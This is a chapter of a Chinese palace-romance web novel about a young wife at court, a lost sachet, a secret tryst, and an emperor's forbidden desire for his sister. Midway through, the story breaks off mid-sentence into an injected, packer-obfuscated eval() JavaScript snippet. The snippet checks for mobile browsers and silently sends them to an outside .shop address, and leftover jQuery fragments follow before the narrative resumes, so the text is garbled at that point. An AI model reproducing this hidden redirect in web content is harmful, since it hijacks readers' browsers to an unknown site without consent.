不知是不是碍于沈怀香在场,长乐公主脸色不是很好却依旧温声细语回答:“酸甜口吧,最近胃口不佳,辣的还是先不吃了。”
那高公公应承一声,而后行礼准备离去。
到了门口,却又蓦然转头道:“奴才年岁大了,这脑袋也不灵光了,还未告知公主,陛下今晚政务结束会来此陪您一道用膳。”
闻此消息,长乐公主猛然起身,又恍觉有失仪态,站直身子,双手交叠于身前:“你且告诉皇兄,皇兄国事繁忙,不必念着我,公主宫殿这边有驸马在。”
高公公领了话,退了出去。
沈怀香依旧端坐着,一语不发,静静听着这对话。
不知何故,她总觉得什么地方有些奇怪,却又无从察起端倪。
公主脸色渐渐缓和,和沈怀香聊了许多关于刺绣的事情,特别是时兴的花样。
沈怀香本身就存了叫公主抬眼的心思,自然对公主所说的话事事上心,又将自己身前悬挂着的水痕月香囊解下来,拿与公主看。
“二少夫人果然是手巧,若是能将此绣样做在衣服上,一定是赏心悦目的!”
得到公主的夸赞,沈怀香心里美极了,似乎瞧见了她和一家人居于京都,受公主庇护,日日欢乐的场景了。
那是何等的荣耀加身!
眼见天色渐晚,夕阳斜下,就快到了饭点,沈怀香就要告退。
公主本意是想要将她留下一道用膳,可到底是牵扯到了还有驸马在,沈怀香有些不好意思,所以再三推辞。
因而,公主说:“那便在侧殿住下吧,天色不早了,怕是宫门已然下钥了,你也不好出宫去,我叫人给国公府说一声。”
沈怀香只得应下。
傍晚时分,有宫人给沈怀香送来了晚膳。
她不过一人食,桌上却有六个菜肴,红烧带鱼、糖醋里脊、醋溜白菜......
让人忍不住吞口水。
冬雪最是爱吃,睁大眼睛瞧着桌上的膳食:“少夫人,这宫里吃的可真好啊。”
翡翠:“冬雪,不可随便妄议。”
冬雪捂住嘴,沈怀香被她的模样逗笑了:“这是自然,宫里多是贵人,和咱们比起来自然是要精细的。”
沈怀香捏起玉箸,夹起来一些菜放进嘴里,仔细尝着。
“味道确实不错,这道鱼十分鲜美,果真好吃。”
冬雪的口涎就快淌到地上了,沈怀香哑然失笑,冲着她们二人招招手:“好了好了,不要干看着了,坐下陪我一道用膳。”
“二少夫人,这不好吧,我们还得服侍您用膳,怎么能和您平起平坐?”翡翠惊讶,不敢坐。
冬雪倒是拍拍屁股坐下,端起筷子就要吃:“翡翠,你要是再磨叽,怕是待会儿只剩下渣滓了。”
沈怀香笑着:“是啊,桌上有冬雪,横竖是剩不下什么东西的,再说,我一个人吃这么多菜肯定是要浪费的,独乐乐不如众乐乐,我们一起吃。”
翡翠心里头那叫一个激动啊。
有朝一日,她居然能和主子坐在一个桌子上吃饭,这还真是叫人大开眼界的事情。
*
三人吃饱喝足,外面的宫女进来收拾了残羹剩饭。
沈怀香接连道谢,宫女也连忙说都是应该做的。
翡翠看着沈怀香,她是那么温柔、那么娴静、那么有人情味儿,可是她总觉得二少夫人身上少点什么东西,似乎和早上出府的时候不一样了。
忽然她发现了不对的地方,大叫:“二少夫人!您的香囊呢!”
香囊比起来手帕还算是低一级的私人贴身之物,若是被人捡了去,且不论作何用处,横竖是要生出一些波折的。
沈怀香低头看向自己的腰间,确实空无一物。
她噌一下站起来,忽而想起今日在公主正殿她曾解下来给公主仔细瞧了,或许就是当时落在了公主那儿。
“不行,我们还是去公主那儿问一句吧。”沈怀香有些着急。
这件事说小也小,不过是一个身外之物。
可是托大也确实不小,毕竟香囊也是私密物,都是带着各家身份的东西,若是被小宫女捡去玩耍也便罢了,可若是落在了外男手里,也可被看作是私相授受,绝对不是一件值得庆贺的事情。
翡翠和冬雪自然知晓问题的严重性,也便说要一道去。
出来侧殿,沈怀香脚上的步子加快,她提着裙摆往公主正殿去。
还未靠近,就听到里面摔东西的声音。
“裴无柒!你怎么可以这么对我!尚公主是你们家主动提出来的,不是我李薇容逼着你来的,若是不不愿,只可去皇兄面前求旨,我们大可离婚,我不是非你不可!”
公主声音凄厉,听着有些骇人。
沈怀香蓦然停住了脚步。
而后,长久的安静。
裴驸马缓缓说:“你和陛下之间的事情,我本不愿多说,可我裴家也不是傻子,可以任人玩弄。”
身侧一阵清风传过,沈怀香的眸中登时映入了一双啼灰昶云靴。
抬眼,她便跌入了一双深不可测的眸子。
“五......五爷,您......您怎么在这儿?”
傅砚秋手里把玩着一个香囊,并未理会她刚才的提问,而是抛出自己的问题:“你是在找这个?”
沈怀香看到那熟悉的东西,顿时心安了。
只一瞬间,她便又清醒过来,傅砚秋也算是外男,自己为什么会觉得无事?
真是奇了怪了。
沈怀香只得老老实实承认:“是,今日同公主研究花式,所以解下来了。”
面前之人神色如常,让人捉摸不透是什么意思。
他抬腿要走,沈怀香也只得亦步亦趋地跟在他身后,毕竟东西还在人家手里捏着呢。
就要到了一处宫殿,傅砚秋一个眼色,翡翠及时拉住冬雪。
傅砚秋和沈怀香则是进去了屋内。
沈怀香不明所以,也便直抒胸臆:“五爷,这香囊是我的东西,还请五爷还给妾身。”
“你的东西不就是我的东西?”傅砚秋的眼神扫过沈怀香,仿佛就此扒掉了她所有的遮蔽之物,不由得叫她脸色一红。
这话说得很暧昧了。
何止是东西?沈怀香都是他的囊中之物,又何外乎一个香囊?
“话虽如此,可......”
眼前的男人似乎有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524193|203096||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不悦:“可是什么?”
“若是被人瞧见了,恐生出不好的狎闻。”
“不叫别人瞧见不就好了?”
“......”沈怀香被他怼的哑口无言。
若是旁人说出这话,或许沈怀香还要疑心一句吹牛,可傅砚秋,傅五爷说出这话,那可能还真是有这把握。
沈怀香不再说什么了。
只是又想到刚才公主殿内的争吵声音,她欲言又止。
“你是想问公主和驸马为何争吵?”
沈怀香小心看着他的脸色,也便点点头。
“那你过来些。”
沈怀香被八卦驱使着,朝着傅砚秋近了几步。
“这都是宫中秘辛,你跟我离得这么远,若是叫旁人听了去,咱们两个岂不要身首异处?”
沈怀香了然,又走近些,她都快跑进傅砚秋的怀里了,这也够近了吧。
下一秒,腰上一热,大掌将她禁锢。
沈怀香下意识唔了一声,“五爷!”
出口,又成了娇嗔,似是寻常夫妻撒娇一般。
那人淡淡嗯一声,丝毫不觉有什么不对劲。
这不是在自己的院子,这是在深宫大院,若是稍有不慎就会被人发现,傅砚秋有家里的荫蔽,或许可以完好无损,那么自己呢?
......自己只不过一个乡野出身的破落户,芝麻大点的事掉到身上,也会砸的她头破血流。
她抗拒着:“五爷,别这样。”
欲拒还迎一般,傅砚秋又扯住她的手腕,在她耳畔轻轻说:“这不会有人来。”
沈怀香登时没了借口,任由他将自己抱在怀里,把玩着纤纤玉指。
她一双眸子极其认真地看着傅砚秋。
后者了然:“公主和当今圣上是一母同胞,当时夺嫡之争公主力挺圣上,二人也算是相依为命这样过来。”
“后来公主年岁见长,就要及笄,按理说就要议亲,可圣上总是找借口推拒,这就使得神都内许多适龄的勋贵人家子弟都错了过去,太后几次三番问询,圣人都不松口。”
沈怀香似乎意识到了什么,但是不敢开口。
傅砚秋又说:“圣上对自己的妹妹动了心思,所以不愿意看她嫁作他人妇。”
沈怀香有些错愕:“可为何还是嫁了裴驸马?”
傅砚秋眸中翻滚着不明的情绪:“因为裴家是太后党,得了太后授意特地求到了圣上面前,裴家老家主举着昔日的丹书铁券登上朝堂,圣上为了避免朝堂动荡,还是松口赐婚了。”
“那圣上就此收了心思?”
傅砚秋斜着眼看她:“你觉得可能么?”
都做到了天下共主,想要的东西自然不可能任由其白白溜走。
沈怀香心想着,陛下自然是不会允许心上之人嫁给旁人为父母、相夫教子的。
“公主婚后,按理应当出去开辟公主府,圣上没有应允,甚至婚宴都是在宫内举办的。”
这些沈怀香在白日里听到了宫女说,当时还只是以为圣人对胞妹疼得厉害。
现在看来,似乎有些变了味。
“公主虽成了婚,可到底还是逃不出圣上的手心,你懂么?”